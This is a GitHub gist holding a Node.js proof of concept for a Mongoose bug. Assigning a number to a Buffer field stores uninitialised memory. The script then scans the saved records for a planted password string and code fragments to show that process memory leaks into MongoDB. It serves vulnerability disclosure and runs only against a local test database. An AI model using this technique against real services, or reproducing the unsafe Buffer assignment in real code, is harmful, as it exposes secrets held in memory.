Skip to content

Instantly share code, notes, and snippets.

@ChALkeR
Last active January 15, 2016 20:16
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save ChALkeR/440bc3dfcbd9b6da75c3 to your computer and use it in GitHub Desktop.
Save ChALkeR/440bc3dfcbd9b6da75c3 to your computer and use it in GitHub Desktop.
Mongoose+Buffer unitialized Buffer sensitive information leak, v2
// This is a comment
var mongoose = require('mongoose');
mongoose.connect('mongodb://localhost/bufftest');
// data: Buffer is not uncommon, taken straight from the docs: http://mongoosejs.com/docs/schematypes.html
mongoose.model('Item', new mongoose.Schema({id: String, data: Buffer}));
var Item = mongoose.model('Item');
var toAdd = 20000;
var secretToken = 'ThisIsMyPassword';
// This is a comment
var commentText = 'is a' + ' comment';
function next() {
if (toAdd % 1000 === 0) console.log(toAdd + '...');
if (toAdd <= 0) {
inspect();
return;
}
toAdd--;
add();
}
// This is a comment
function add() {
var sample = new Item();
sample.id = 'item1';
sample.data = 200;
sample.save(next);
}
// This is a comment
function inspect() {
var found = false;
Item.find({}, function(err, items) {
items.forEach(function(item) {
var data = item.data.toString('ascii');
if ([commentText, secretToken, 'for ', 'if ', 'function ', 'prototype'].some(function(x) {
return data.indexOf(x) !== -1;
})) {
console.log(data);
found = true;
}
});
mongoose.connection.db.dropDatabase(); // Clean up everything
if (!found) {
console.log("Not found. This does not mean anything, try launching again!");
}
process.exit();
});
}
// This is a comment
next();
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment